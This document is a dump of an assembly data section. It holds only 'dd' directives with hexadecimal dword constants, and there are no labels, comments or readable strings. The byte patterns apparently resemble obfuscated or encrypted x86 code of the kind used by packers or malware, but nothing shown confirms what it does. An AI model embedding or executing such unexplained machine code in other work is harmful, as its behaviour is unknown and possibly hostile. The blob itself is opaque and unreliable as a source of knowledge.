		dd 6661FC60h, 0E680C68Bh, 13E92Bh, 0B2C10000h, 0EC4FB834h
		dd 0A98C07CCh, 70950FDFh, 0B593D2FAh, 0ADBE6609h, 6860F70h
		dd 81000000h, 0DC3E2CBh, 20B6F853h, 0CE960h, 23D00000h
		dd 0EAE65B87h, 43CBEDCEh, 8166C8DDh, 61092EC6h,	11E951h
		dd 95600000h, 7575B66Bh, 0A033B972h, 4235C4FDh,	5B478EACh
		dd 0CE8h, 6A794300h, 0C8173718h, 2E4639BEh, 0C2816656h
		dd 8A5B9A43h, 0F9BF0FC5h, 0F680E58Ah, 0F08B60C6h, 0EE951h
		dd 0A5F80000h, 44B347CAh, 0F2BEB361h, 0D1E09FA3h, 830F615Ah
		dd 2, 8156CA8Ah, 0F2B8DCAh, 8A0F595Fh, 4, 9476BF66h, 0FE8h
		dd 0FAB15C00h, 0F93FF519h, 47A5DFDFh, 47DE7DD4h, 58D78B66h
		dd 464DB81h, 74B1183Ch,	10800Fh, 0BE90000h, 7F000000h
		dd 0FC6C31E9h, 6757D411h, 86B7EC4Bh, 38D0Fh, 0F5800000h
		dd 0AFE6812Eh, 571B7F13h, 3782E2BBh, 0E9565B61h, 10h, 1F84685Ah
		dd 9EF21B4Ah, 58C49AB7h, 0D3088C58h, 66DC8A58h,	0BAA4CCBBh
		dd 513B6731h, 3CE78166h, 0D98B6679h, 0EE9h, 115C8A00h
		dd 0B1CD60B4h, 4C76C9F9h, 0E8789547h, 0Dh, 64152240h, 4A7B3FE7h
		dd 0CF87878Fh, 0E858FC93h, 0Eh,	7B240102h, 0F66CA3F9h
		dd 4421D9Fh, 0AE9577Fh,	0BC000000h, 5528D221h, 0B7AEE87Bh
		dd 0C28159AAh, 3803EA0Eh, 0B85058BAh, 0B966FC6Dh, 8D0F0435h
		dd 2, 0B70FC88Bh, 0F28166C6h, 0E6814916h, 199A6A94h, 0EE9F18Bh
		dd 0E0000000h, 0B6BE8F8Bh, 92E8EF42h, 0D8721A82h, 7DBF6679h
		dd 5AF680E9h, 0C2BF0F60h, 12E9h, 25AA1C00h, 0A415E232h
		dd 7C867Eh, 15AC5FAEh, 61D8A6CEh, 0FC9B70Fh, 18Fh, 8166F800h
		dd 0E99057F7h, 8, 493BFC8Eh, 40EC2307h,	2388BE66h, 14840F60h
		dd 0E9000000h, 0Fh, 413E61C9h, 0CF50DC71h, 0DB709CC2h
		dd 0E828681Eh, 0Dh, 302F40ABh, 0F7AB4DEDh, 8588A506h, 5F6160CDh
		dd 681DB861h, 0CFB67ED3h, 8B6616B5h, 60FE8BC2h,	138B0Fh
		dd 0DE80000h, 95000000h, 7F960953h, 29371A09h, 0D77ED777h
		dd 0EE95Fh, 50AA0000h, 0E439BC6Dh, 40B92185h, 0FDC1532Dh
		dd 0CAED8061h, 0FCD6BF0Fh, 10E9h, 8E0F7200h, 58952760h
		dd 96C05AE3h, 50DE9CB0h, 0C981FCB1h, 36681195h,	66C7B70Fh
		dd 0A3B4F281h, 8E5076BAh, 15890F6Eh, 0E9000000h, 10h, 63EED7A7h
		dd 77ABCD62h, 0D0C1D39h, 0E2C7C5DBh, 8E8h, 8B25FD00h, 0CDE64412h
		dd 72E58067h, 0E8DA8B5Bh, 11h, 3D6975D2h, 869E628h, 7C0449E6h
		dd 0EB43999Eh, 0BE8FAh,	0BF650000h, 947C5A27h, 3899E579h
		dd 5E5F5708h, 98B8665Bh, 0A860F97h, 60000000h, 0F281A6B5h
		dd 35A2F2D9h, 0C7816661h, 0A0B33485h, 0C480D18Bh, 7443BE77h
		dd 8166490Ch, 0FBC1BF0h, 282h, 0E969B500h, 0Ch,	484FD4C9h
		dd 1C84C737h, 446B7323h, 0E9F1BF0Fh, 0Ah, 0B70EC33h, 202FF0AEh
		dd 13E94897h, 0AA000000h, 995B00EFh, 3A8D9A66h,	998BDA07h
		dd 20B77436h, 0E950E44Fh, 0Ah, 6118E456h, 101DB53Fh, 8A5ADE5Fh
		dd 0BE9F3h, 0CD080000h,	0A21102C9h, 45C5C18Bh, 0F98BF85Fh
		dd 0D5D98151h, 5B7FB572h, 58C0Fh, 79B80000h, 0F05FA62h
		dd 0BF51C2B7h, 16E27B71h, 38A0F5Ah, 66000000h, 5360DF8Bh
		dd 0F89ED681h, 0BA5A42B5h, 7A837C7h, 5810F61h, 66000000h
		dd 0A93BC181h, 0B0C38B66h, 0D38B6683h, 18F0Fh, 0E8F50000h
		dd 11h,	6BFA3B37h, 6DCF818Dh, 0C8D57C51h, 488483CCh, 0F18B6652h
		dd 4820F5Ah, 66000000h,	0F520C2BAh, 11E9h, 4CEBDD00h, 8BCA62Ah
		dd 5A1F5463h, 0D8560184h, 2BB269Dh, 8A6BCA0Ah, 8001B6FCh
		dd 13E875C3h, 85000000h, 3693A573h, 18559FBEh, 0EDEACF08h
		dd 78445C6Fh, 0BA5E1864h, 2C483FF1h, 8E8h, 0A71C2800h
		dd 8C2C49DEh, 68C0FDCh,	0F000000h, 86h,	0D88A5A00h, 8E96050h
		dd 5E000000h, 0FA82B24Fh, 811755CCh, 0C9239AE8h, 6059617Ah
		dd 8C521ABBh, 2FEF8045h, 0E9FA8B61h, 13h, 0A3A72742h, 52387302h
		dd 0F8F2656Bh, 23619444h, 0E9A4DBA6h, 6, 0CE62AA03h, 32BA4EF5h
		dd 66731D9Eh, 0B251DF81h, 6880F60h, 0F000000h, 88h, 10E800h
		dd 5FE30000h, 0C1BC55CBh, 32394290h, 187B9AEh, 5BF58CF7h
		dd 5FF85761h, 359FBB66h, 0ABF68166h, 38D0F90h, 0F000000h
		dd 0E860C8B7h, 0Dh, 0F51A17C9h,	0C0BFE8F2h, 0AC495EC5h
		dd 5A5A50DFh, 6880Fh, 0DF810000h, 66C17915h, 0DE961h, 0B4630000h
		dd 3D370EFAh, 0A954C516h, 0B108E257h, 31E2812Fh, 6656C53Ch
		dd 3E9CE181h, 8BDE8BFCh, 0CFF680F2h, 6CBAD58Ah,	0E917FF1Eh
		dd 0Eh,	0C2992FDFh, 0DD5F65F6h,	2B2286CCh, 0C9BB28ECh
		dd 0E91BC633h, 0Ch, 0FD322EAAh,	0AF0472AEh, 878C6525h
		dd 2D39D681h, 0CE927DFh, 0C0000000h, 5F0C470Dh,	378BC87Ah
		dd 0E94EC530h, 13h, 524FFEA1h, 76914C68h, 41504E64h, 0CA01C13h
		dd 0F3D0826h, 8166C7BFh, 60E978C6h, 14E956h, 5E740000h
		dd 69C1C76Ah, 0CB929381h, 99DD5ABEh, 0D7F63480h, 0E85F4577h
		dd 5, 68B3ABA9h, 8ECF8167h, 5E1DD496h, 0EE961h,	5FC00000h
		dd 1A25C20Eh, 46C578DBh, 44956B22h, 1840Fh, 0FF50000h
		dd 1589h, 10E900h, 39580000h, 7CF7F148h, 327B8703h, 9978FFE8h
		dd 0EB8A43D5h, 6609EC80h, 0E9EC58BBh, 9, 18682E40h, 0ED14AAA5h
		dd 0F68166E9h
		dd 8B0F1178h, 2, 8166F08Bh, 0E97145D8h,	0Dh, 0ECFFBCCBh
		dd 0EE777A9Ch, 0C300C7C3h, 0FCCA8B31h, 81FCFA8Bh, 64F8B9E3h
		dd 58B0F33h, 66000000h,	144ACB81h, 8E9F8h, 3D070000h, 0A9A7CDA6h
		dd 0EE815250h, 776B846Dh, 0A4EFB966h, 0A754BE66h, 11E28166h
		dd 0FB8B66E6h, 9E9h, 847A7300h,	91750A21h, 0D2810BFDh
		dd 0C684B4Eh, 0AE9h, 0AB09400h,	2B84343Eh, 0F616B3Eh, 68Bh
		dd 0EFC88100h, 0E95F456Ah, 5, 6DE89007h, 0DBB70F84h, 10D754BEh
		dd 669DB359h, 8022D8BBh, 14E8E9C8h, 4D000000h, 43376465h
		dd 0A6138369h, 6E14BD4Bh, 6862340Ch, 6606027Ch,	5EEACFB8h
		dd 1C880Fh, 14E80000h, 73000000h, 395D2597h, 0F22A605Bh
		dd 0AB80F677h, 7E0C58D8h, 51B8403Eh, 0E3815F5Eh, 7308546h
		dd 830FF7B5h, 5, 9AD88166h, 28EE8024h, 8B5EF851h, 0E280FCD9h
		dd 0AAB2BBBFh, 8B666E12h, 800FF7h, 66000000h, 0FEB9D78Bh
		dd 0E9052079h, 0Ch, 4972E558h, 70DF84A8h, 7CFFCC44h, 6650C58Ah
		dd 0AFC0C681h, 77E98058h, 3880Fh, 8B660000h, 12870FC1h
		dd 0E8000000h, 0Ah, 17644588h, 6B3423CFh, 0D88B7977h, 0BE85Ah
		dd 562E0000h, 0D9F26C1Fh, 41D02500h, 66565E93h,	27C181h
		dd 84C08159h, 6616DB65h, 0E866AABBh, 0Dh, 7EC1E2A6h, 49B76399h
		dd 0F2DBC43Bh, 0F0B70F5Eh, 0E958B55Fh, 0Dh, 0C2E8FFD8h
		dd 0CF723B6Fh, 0C4576B54h, 8B505647h, 0F595EC3h, 8Dh, 0FF78A00h
		dd 6657F2B7h, 665AF78Bh, 834FEA81h, 7642BF60h, 0EE8140A8h
		dd 1643ABC5h, 0F3B70F61h, 0B966FA8Bh, 12E94116h, 23000000h
		dd 0C0495A42h, 1B3BC6EFh, 0CBA3FEADh, 788FF5E9h, 0DE989h
		dd 0BC580000h, 21A2977Ah, 8CD15B78h, 0FB767D3h,	68Ch, 3CA8100h
		dd 60622AA9h, 0F61F28Bh, 2682h,	0EE800h, 0D2D10000h, 2B881B38h
		dd 1CBCFAD2h, 312F67FBh, 0DE9h,	18081B00h, 0E42FF445h
		dd 57863B23h, 0F85F6EB9h, 5890Fh, 0F510000h, 0F858C0BFh
		dd 8B3B59BFh, 36C38165h, 0BE0F0B9Bh, 0CAB9ECFh,	20335FBBh
		dd 0D08B6645h, 0F5AF851h, 1781h, 12E900h, 931A0000h, 4049DA3Dh
		dd 545B4D1Dh, 0B178E757h, 2670913Eh, 8E0FCB8Bh,	1Bh, 14E951h
		dd 0C13A0000h, 0BF7BF266h, 786099FDh, 0AD18E010h, 609CD20Dh
		dd 0B3591965h, 7829BE7Fh, 0EE810674h, 202DE6A0h, 0D1BF0FF9h
		dd 6E8h, 39826B00h, 0F0A64F2h, 189h, 0BE5AF900h, 2612CE5Dh
		dd 59D28166h, 0E68166BEh, 0BB6682DBh, 81663E52h, 0BF39AAE7h
		dd 43121296h, 0A3EA8060h, 0AFB96660h, 61F88BF4h, 0FE8B6661h
		dd 0C38B6657h, 60C68B5Fh, 665261FCh, 592984B9h,	8E8h, 837FD000h
		dd 2FEFDF49h, 50E880E9h, 5E95Ah, 17460000h, 0E9DF30D1h
		dd 0Ah,	0C3A8DEA4h, 85EA17D9h, 9E95797h, 89000000h, 54243CA3h
		dd 0CA34342Eh, 2820Fh, 0E7B60000h, 2810Fh, 0FA8B0000h
		dd 8B66F08Bh, 38D0FC6h,	0F000000h, 5E9F2B7h, 0FF000000h
		dd 0D17FAE60h, 14E960h,	0AD580000h, 181CEB4Dh, 0AEF3A229h
		dd 354CAC48h, 583351DAh, 0BE960A1h, 56000000h, 0EB5A9487h
		dd 9510B373h, 0F861A59Bh, 0BF0FF38Bh, 66F9FCF6h, 80F9F78Bh
		dd 10E90FD2h, 86000000h, 8AC94537h, 0A7CC8CBCh,	988C488Eh
		dd 661AB9EBh, 68B4C18Bh, 11E9h,	1F9F2800h, 3CBD633Fh, 0D4DB763Eh
		dd 0A6E9FA21h, 0EC80E5F1h, 10E9D4h, 9D100000h, 233B6Eh
		dd 0C425AC0Fh, 947DFA9Dh, 870F5478h, 3,	0BFF28B66h, 41FAE355h
		dd 8D0Fh, 6E80000h, 0E1000000h,	59D71B0h, 0F78B665Fh, 85BE605Fh
		dd 0E94BE9B6h, 0Eh, 6A52B1C4h, 0DA506123h, 299A3A6Eh, 8161A8DCh
		dd 0FCF88CEBh, 8B0FF540h, 0Ch, 6820Fh, 8C0F0000h, 0
		dd 0E28AC18Bh, 12E9h, 3FF6CC00h, 0AC0D8FB0h, 7F58F1A3h
		dd 54737E5Bh, 800B5D6Fh, 0F4B958E1h, 0F09B9CBh,	8B66C0BFh
		dd 0F5DCB6F7h, 67F281FCh, 0F937A6BDh, 0B3A2BE50h, 0E95F4506h
		dd 11h,	0FF48877Ah, 94EAE498h, 0AC4BA77Fh, 99964B61h, 3840FCBh
		dd 66000000h, 0BF0FDE8Bh, 66F78BF7h, 52FCF98Bh,	6659D7B4h
		dd 9398F081h, 0FC78B66h, 383h, 61F86000h, 18D0F50h, 0F8000000h
		dd 0B7DE8B5Bh, 0DB8166D5h, 0BB6632AFh, 8A60A5A9h, 13E8F0h
		dd 0DA4E0000h, 8BC547FCh, 582FF72h, 21CED6CEh, 628077ACh
		dd 0A2EB81FCh, 5F5B11C1h, 0C7816661h, 8B669467h, 0DE8B66FEh
		dd 332ABE66h, 0E6DA8166h, 0DE8B667Dh, 6653C3B4h, 3E0BE381h
		dd 0C38B665Eh, 0E9DE8B66h, 14h,	0C5670197h, 1607866Bh
		dd 0B7A50F6Fh, 0FD75EEBh, 0EC40F21Dh, 0E9D9B70Fh, 0Dh
		dd 109B9ABCh, 0D89E2DEDh, 0C741BCD5h, 0FD78B3Eh, 282h
		dd 0B95CB400h, 2D50CA55h, 37E08157h, 5E74F230h,	1EE78166h
		dd 2820FC2h, 8B000000h,	28E0FF8h, 8A000000h, 0B675BEDCh
		dd 0B70F0AC3h, 820F56CBh, 17h, 11E8h, 0C6988100h, 86FC0B0Eh
		dd 496207D2h, 0B6B60AB8h, 58590ACAh, 0EE9h, 0CC25E400h
		dd 0F1844AEEh, 1CE53AFBh, 8B8681B2h, 41BB66F7h,	0D6B70F27h
		dd 0F9BF0FFCh, 6350B960h, 3ABA6DB3h, 610A86B4h,	0D689BE66h
		dd 0DE960h, 9B660000h, 3B41A81Ch, 7AFA481Ch, 60A38225h
		dd 0BA8ED280h, 7344A6E4h, 0BA516161h, 0DA5CE14h, 5E9F85Eh
		dd 53000000h, 0CBB785CAh, 5E18166h, 3840F89h, 66000000h
		dd 8D0FF98Bh, 6, 810Fh,	0BB660000h, 6051DCA8h, 0E5282EBFh
		dd 615B537Fh, 0DE8B665Bh, 0C7EAE281h, 0ADBA46F8h, 0F0A294Fh
		dd 983h, 3800F00h, 66000000h, 6660F98Bh, 7E9CA8Bh, 4F000000h
		dd 376D6E6h, 66618DC1h,	0E381F98Bh, 6627A626h, 0FF98AF5h
		dd 0BE8C0B7h, 0BF000000h, 0A74F794Eh, 50D2791Bh, 5259A025h
		dd 45E78166h, 0BE95ADEh, 0C5000000h, 6F7C8344h,	6951D095h
		dd 5E9EC31h, 21000000h,	0FC1AAC0Eh, 14E857h, 19260000h
		dd 30917E89h, 71A4461Fh, 0F991F929h, 0BEF2FBE9h, 0BA660BA3h
		dd 5959690Dh, 18C0Fh, 0FFC0000h, 0D381F7B7h, 517ECA94h
		dd 0AE8h, 76A61400h, 9DB26053h,	59D77548h, 0D98B66F9h
		dd 0FCC6B70Fh, 880FC78Bh, 3, 0E917DF80h, 14h, 0EC0373BBh
		dd 9DA96A20h, 0D05DB4Dh, 1788873Ah, 0C789C0D3h,	0B96656F5h
		dd 8B5B3548h, 8AD6BBC3h, 8C0F7D29h, 1, 6E860F9h, 37000000h
		dd 0E5533126h, 0A2B966DBh, 0F6805A09h, 8F0F6121h, 2, 0C780FB8Bh
		dd 0E18166A5h, 860F9393h, 0Ch, 68A0Fh, 0F0810000h, 5C827CD0h
		dd 0F18B5160h, 85D78059h, 9E85361h, 35000000h, 0DB1B7972h
		dd 18800D1Bh, 5F5B46B5h, 32DADBB8h, 0EE81662Eh,	0C0802989h
		dd 0AE977h, 0A59B0000h,	473ACD0Bh, 6AD9AC23h, 0E8F5CE8Bh
		dd 13h,	3374D2D5h, 4B64B98Dh, 31CDE04Bh, 2F1A9188h, 8182D6AAh
		dd 75B475EEh, 0BE85A6Ah, 90000000h, 5889DBD1h, 542A8AA7h
		dd 0FA8BE2C4h, 0C840F5Ah, 0F000000h, 68Eh, 810F00h, 0E9000000h
		dd 6, 0FD0CED49h, 0CE8A2018h, 9E9h, 0ED976B00h,	6D8D9DAh
		dd 66600570h, 0BE8CA8Bh, 69000000h, 53B87838h, 883645A2h
		dd 8E0F227Ch, 0
		dd 81606158h, 1BE9DFE8h, 0FE3801Eh, 48D0F61h, 66000000h
		dd 805702BEh, 0FA8A0AE2h, 0D455D681h, 9E91507h,	89000000h
		dd 31A3D53h, 0B935A505h, 0E890Fh, 8E80000h, 78000000h
		dd 6CB9C5EDh, 5FE83AC4h, 90DA8060h, 75EB8166h, 8C0F6180h
		dd 3, 0E8CE8B66h, 0Dh, 0BADA3444h, 0F08DC89Ch, 7AFDE634h
		dd 3820FEEh, 66000000h,	665EC18Bh, 0B4BCFABBh, 62BF6602h
		dd 0CBB70F0Ch, 51E08166h, 7BB86059h, 613D8100h,	0B70FF08Bh
		dd 0B0BF66C6h, 0FE9FEh,	6D50000h, 5EB5B6ABh, 6E0CE8F9h
		dd 4BF0CAD4h, 0E4B15097h, 0E881575Eh, 2ED30619h, 65F3805Fh
		dd 12890Fh, 0DE90000h, 0BE000000h, 58E777B9h, 98BEAA5h
		dd 0C438E55Eh, 0E9D78B66h, 11h,	16558560h, 77D9E3EDh, 0D6F07F87h
		dd 2C9CD08h, 6612B311h,	53B9D6BEh, 7E9h, 0C8B55000h, 1547CCACh
		dd 6656F55Ah, 674BC081h, 0BECDB05Ah, 0D091B40h,	0FA8B2F5h
		dd 58Ch, 0C0816600h, 81666165h,	66E4B5CEh, 0FECD9BEh, 0D8Bh
		dd 8E900h, 71960000h, 94D96E8Bh, 0F5776E4h, 0F5BC3B7h
		dd 0C68BD1BFh, 10E8h, 0BC4D6400h, 86238199h, 57D9838Fh
		dd 2D4DE792h, 3820FFEh,	0F000000h, 0F85FD0BFh, 158D0Fh
		dd 10E90000h, 97000000h, 0C3368ECDh, 19FFCFh, 6865F965h
		dd 80E8EB19h, 0B70F79EDh, 14E8C1h, 6E790000h, 8579F41Fh
		dd 0C5775764h, 9C20AEFBh, 8A86646Eh, 860FC3C3h,	0Ch, 7E9h
		dd 5A3A2E00h, 35D7D491h, 9840F59h, 0F000000h, 38Dh, 3FD18000h
		dd 0C780DE8Ah, 601CB47Ch, 0C681E38Ah, 27847594h, 0EE96061h
		dd 0C000000h, 0C34CB249h, 918C6F9Dh, 703FC36h, 0A3B8618Dh
		dd 60241DDAh, 8080EA81h, 880F22F9h, 3, 61DFB70Fh, 0B860Fh
		dd 870F0000h, 5, 5BC28166h, 0FE96Ah, 0CA70000h,	482A763Fh
		dd 56E02E88h, 0F41DB1A9h, 40CD8067h, 0D9B70FFCh, 0F9D2B70Fh
		dd 324EBA66h, 0FC9B70Fh, 0C8Bh,	7E900h,	0C0EE0000h, 8BFC7EDAh
		dd 94C6818Bh, 0F560A8B0h, 14E9h, 0E46FE500h, 2BCC5063h
		dd 2468FAE6h, 0DB41C830h, 0A7C8E699h, 0F18B66FAh, 13E9F8h
		dd 64730000h, 0B72BCB75h, 42B345A1h, 0B4D4404Ah, 987D16E5h
		dd 0C78B66D2h, 0C870Fh,	8B0F0000h, 6, 8A0Fh, 840F0000h
		dd 10h,	0E95F5260h, 7, 0E0DD6BAAh, 61A8A96Fh, 7AD9F181h
		dd 11E8314Fh, 44000000h, 5CC4DE68h, 7185A0Bh, 4D8B8EC8h
		dd 6DD12A89h, 0F08B6658h, 10820FF5h, 0E9000000h, 0Bh, 6ABF6A0h
		dd 6DF13E11h, 0F033E93h, 28Bh, 66D88B00h, 0C11BDE81h, 0FE9h
		dd 954A3900h, 996FB8Dh,	173FF3h, 3FB884F3h, 8166F28Bh
		dd 8A10B8E6h, 14E8ECh, 0E2990000h, 0FAE14BAAh, 0FAC78DA9h
		dd 3444985Fh, 0C89CBADAh, 850FF08Dh, 2,	665A5F57h, 6602B1B9h
		dd 584DC781h, 8166C68Bh, 813DAEC9h, 8A954FDAh, 0D88B665Fh
		dd 5E8h, 0CE838E00h, 0B86679A4h, 815E5A01h, 0C82DCED0h
		dd 0C1B70F38h, 0C08089B5h, 0CB816670h, 850FA1E5h, 17h
		dd 0B4F18160h, 0E83D6BFFh, 9, 0DE195556h, 683B7D8Bh, 0E861589Fh
		dd 12h,	0E00B3284h, 3390188Dh, 7154ADE9h, 0B2A6D879h, 66569593h
		dd 5E58F28Bh, 0FE9h, 2B6AEA00h,	0F21C25F4h, 0EDD2A429h
		dd 0BE252EE7h, 6820F60h, 81000000h, 176956E6h, 7E7BBE37h
		dd 0E9610543h, 0Eh, 851FC5E3h, 0C4AC008Ah, 0FB7BBEFAh
		dd 0CE952B4h, 0
		dd 0BDA6AD13h, 0F73E9F81h, 66B85C23h, 66EBE5BFh, 608A6CBAh
		dd 0F2BF0F60h, 7A75C981h, 616160F6h, 57FCC28Bh,	665ED98Bh
		dd 0BF8398B9h, 6620D8A4h, 8E960h, 0E0320000h, 8436E96Ah
		dd 0B70FC25Dh, 8C0F61D2h, 6, 6EF4EE81h,	0DDBA0C1Ch, 0F75E23Dh
		dd 8Fh,	7E9F800h, 71000000h, 8B8321EFh,	0BF0FE5A0h, 7010BFC1h
		dd 0D98144E4h, 130AF074h, 3830Fh, 0B70F0000h, 11E880C6h
		dd 0DB8157FCh, 49261511h, 5E95Bh, 51C30000h, 0E8A6CA7Ah
		dd 0Ch,	7C8C66Ah, 446DA8B8h, 449F676Bh,	840F52h, 58000000h
		dd 0F515659h, 8Fh, 51585F00h, 503BBE66h, 18F0F5Fh, 0FC000000h
		dd 4890Fh, 0BB660000h, 2BE9775h, 0E91BE53Fh, 14h, 660DF9FDh
		dd 36C0BAB6h, 539F8C5Dh, 41937E7Bh, 57412C6Ch, 58C0Fh
		dd 0EAB80000h, 0E8044A2Fh, 13h,	12140152h, 28957727h, 86A82B8Eh
		dd 0EDD001F6h, 0E97628EDh, 9, 0FECA225Fh, 3631B322h, 8E959DCh
		dd 11000000h, 0D2D293C1h, 56E00DFBh, 14E9h, 5AAFC00h, 80F83E66h
		dd 0E2C20D1Dh, 3CB07645h, 4B0581A3h, 6651594Ah,	91E9E881h
		dd 0BFF98B5Fh, 447001E7h, 9E95360h, 0F2000000h,	0AA8CF211h
		dd 0FD2CC835h, 6156B45Ah, 0EE97CB2h, 4B000000h,	9FCDAE9Eh
		dd 0D8158E6Ah, 3C666312h, 1D800F99h, 60000000h,	14E9D8B0h
		dd 4D000000h, 750B8DA5h, 821620A8h, 0E7011776h,	522FF2F2h
		dd 61E87888h, 0FCB8B66h, 684h, 0C3D38100h, 8A6C2A11h, 0E88166E7h
		dd 0D081DEB4h, 3B5955D8h, 58D0Fh, 0FDB90000h, 0BA7F6096h
		dd 3991E868h, 8BC68B66h, 158A0FD1h, 0E9000000h,	10h, 0BDF8562h
		dd 371CD89Fh, 0D181B70Bh, 67E84A7Ah, 880F52h, 5A000000h
		dd 0BE8h, 30AC0C00h, 0FF32D0A0h, 83711E42h, 6E9h, 78FC8500h
		dd 58F547ECh, 60D88B66h, 5E8h, 0E3D7C200h, 11E8A9CBh, 0DF000000h
		dd 353CA2E8h, 1F3E77CAh, 0A39A3484h, 0C2D7DB87h, 0E8615B59h
		dd 0Bh,	28DE245Eh, 0B408D7F1h, 5AFDB109h, 0E8C2BF0Fh, 0Bh
		dd 7DC5692Dh, 7BEE7F05h, 5609304Bh, 0F1E1BB66h,	0B8605F5Eh
		dd 3AC4EA07h, 0FE8h, 7909EC00h,	0CD74D480h, 8B5DEFFDh
		dd 0A418B1EAh, 59DAB70Fh, 0C2816661h, 13E91D02h, 37000000h
		dd 9C7E7AEDh, 0D9E5B96Ch, 323B2F11h, 0FB8687A8h, 3FB40B91h
		dd 1B850Fh, 13E80000h, 0D8000000h, 7E9FC165h, 30A294EFh
		dd 0E091CE86h, 91AC393h, 0CF8BD0AFh, 58D0F5Eh, 66000000h
		dd 0AA66DB81h, 0CA8BF78Bh, 2E98166h, 8E9B5h, 0BF860000h
		dd 7906435Eh, 0B70FC0D7h, 949ABBC1h, 0F9FC7193h, 0B4EF8166h
		dd 0F584B008h, 0AE8FCh,	0BCD70000h, 82BBB0CBh, 45B90C69h
		dd 11E9h, 0EEE1F700h, 911EE205h, 9A11AA50h, 0E4D4B05Eh
		dd 0B25918B6h, 0D18166B3h, 0D68B74D1h, 0D98B6660h, 5E8h
		dd 47E6EE00h, 5BF9171Fh, 0BE5EB261h, 76A2E158h,	11E9h
		dd 7A166800h, 41E12049h, 0A1B88632h, 3D11D7C0h,	0BE953C0h
		dd 9D000000h, 8A8F1724h, 37766282h, 860FD335h, 3, 0BBF98B66h
		dd 5B14D9E1h, 0A0A9B866h, 0E9FAB70Fh, 14h, 5EC4D0E2h, 2D31D8BAh
		dd 968E6DFAh, 0AD41E226h, 2F06917Ch, 8AC38B66h,	0B70F57E2h
		dd 0DE8B5FF7h, 0D490EB9h, 60DA8A69h, 80A9C780h,	606194CBh
		dd 889DD981h, 8B66746Eh, 506061F7h, 5BCFB70Fh, 5FCA8A52h
		dd 18D0F61h, 0FC000000h, 0BECE8166h, 0F8B70F35h, 56C3B70Fh
		dd 0FE9h, 0C1F83500h, 0D1B08134h, 4F27DAFBh, 0F5000905h
		dd 0D3816659h, 0E960AC0Ah, 14h,	0F8176773h, 0E3B63133h
		dd 9EEA1618h, 0D9AAA83Fh, 7CA81148h, 0E3816657h, 615FA028h
		dd 44EE8166h, 12E9A8h, 46660000h, 0B99D7D0Dh, 0D0E77FD4h
		dd 0A130B393h, 973798C8h, 5860Fh, 0FAB90000h, 0E86A6EAFh
		dd 8, 0DF8DB139h, 1FC23803h, 6E8h, 868EDD00h, 0F154C0Ch
		dd 82h,	0E9595900h, 11h, 9BB94A35h, 0ED25A749h,	3E769B30h
		dd 0B4A0F488h, 7695BEE1h, 0B966091Eh, 890F7334h, 6, 0D27EDB81h
		dd 0BE6601A0h, 0CAB4481Bh, 9E960h, 16000000h, 498BAAA2h
		dd 667F5FB7h, 61F651B8h, 0DE9h,	0FFE08D00h, 114E8720h
		dd 567683B6h, 0A0B67A77h, 0D68BD78Bh, 66F7BF0Fh, 8B7ADFBEh
		dd 6E8D7h, 0F8D70000h, 0FFC8AE73h, 0B4DE8166h, 9E958E2h
		dd 0B1000000h, 2AC1632h, 0AE6C9B56h, 0FDBFF9FCh, 0B40EC8ADh
		dd 0BF0F600Dh, 840F51D7h, 0
		dd 81666158h, 0E9E587E8h, 13h, 83E9116Bh, 4C4DF493h, 0C4DE6844h
		dd 185A0B5Ch, 8B8EC807h, 0FCAB0D9h, 38Ch, 0C0B70F00h, 38D0Fh
		dd 0BF0F0000h, 0F89ABBCBh, 59521F6Bh, 6653F38Bh, 0C65EE281h
		dd 4190B85Bh, 0EF812EEBh, 3628DA74h, 14E9h, 0C805AC00h
		dd 7FB9769Ch, 61ADA432h, 0EC1351BAh, 2E6A3F50h,	0F6057F2h
		dd 5E61FFB7h, 11E9h, 0D29A5D00h, 907DDEF3h, 58576FAEh
		dd 269BC0B5h, 870F149Dh, 9, 38A0Fh, 0BF0F0000h,	14E9F9h
		dd 394E0000h, 0E712D436h, 11415ECDh, 9E0F02E7h,	20CBC0Ah
		dd 0C7B8A5F6h, 0F1B7A26h, 85h, 3830F00h, 80000000h, 8CB068F6h
		dd 10E8F8h, 1E130000h, 603D7150h, 0CAC985FCh, 0A2727453h
		dd 0EE9A9AEh, 0D2000000h, 0AACDEC0h, 62C28D12h,	0CB38F36h
		dd 8C0F5E4Bh, 6, 0B529D681h, 0BF0F2645h, 0AE9F9h, 0CC5B0000h
		dd 0B2641AC4h, 47791659h, 5830FF5h, 66000000h, 0C242EF81h
		dd 0FE9h, 7FC50300h, 1C07DCAEh,	549DE654h, 0FA1CADE1h
		dd 2FCB8160h, 613B4B10h, 12E9h,	0D7F3A100h, 0E1BA11CAh
		dd 69F9119Bh, 75538129h, 0B2578460h, 9E989h, 848D0000h
		dd 138EC0A2h, 0B3A24C03h, 0BA6651EBh, 0BE5AEFC7h, 1ED397F4h
		dd 10800FFCh, 0E9000000h, 0Bh, 2AF691CCh, 0D636DBC8h, 0BE875606h
		dd 3D07F28Dh, 59AEB750h, 12E945B2h, 0ED000000h,	0F2560B58h
		dd 0CA50F18Bh, 34097184h, 0C392FBC9h, 0FA8B600Bh, 0A56569BFh
		dd 0C180613Ah, 0B778B224h, 2860FA6h, 8B000000h,	1890FD1h
		dd 0F9000000h, 10E8h, 182AE600h, 0D9EECDF7h, 543E2A14h
		dd 0FE09EB08h, 11E8E7h,	47A40000h, 73DED1FDh, 2CF6BB34h
		dd 9A26F93h, 0F856307h,	88h, 0F595B00h,	6660F1B7h, 0E961C38Bh
		dd 6, 4D21D116h, 0C9803237h, 4840FE5h, 66000000h, 0FD9D0BEh
		dd 1385h, 0EE900h, 6D2B0000h, 0A65AF135h, 0B543232Ch, 0F84B4339h
		dd 48C0Fh, 0BB660000h, 816071FFh, 0A533A6D9h, 28E0F7Dh
		dd 8A000000h, 0E96061C6h, 11h, 0C413308h, 29368411h, 0F534D500h
		dd 4A9752ECh, 6661F903h, 11BCEA81h, 138A0Fh, 7E80000h
		dd 0A8000000h, 0B6730097h, 800F83EDh, 0
		dd 39E08159h, 0F176353h, 683h, 0A1DB8100h, 0F878AC8Eh
		dd 42C18166h, 8B60507Ah, 0F5861D6h, 8166F8BFh, 521D60EFh
		dd 2830Fh, 1B40000h, 1FBA575Bh,	5A318CD3h, 0A1C6BE66h
		dd 877BF9BAh, 11E93Ch, 162A0000h, 4BB32D4h, 0B1FC0C96h
		dd 3472FE9Ah, 0B26C26F8h, 0FE9A1h, 78200000h, 2604CB50h
		dd 61DAE570h, 0CD5E6169h, 11E9CFh, 0CAC40000h, 0FF7A5440h
		dd 0BAAF13DAh, 0DDBBB19Fh, 0F28AB30h, 280h, 66CB8B00h
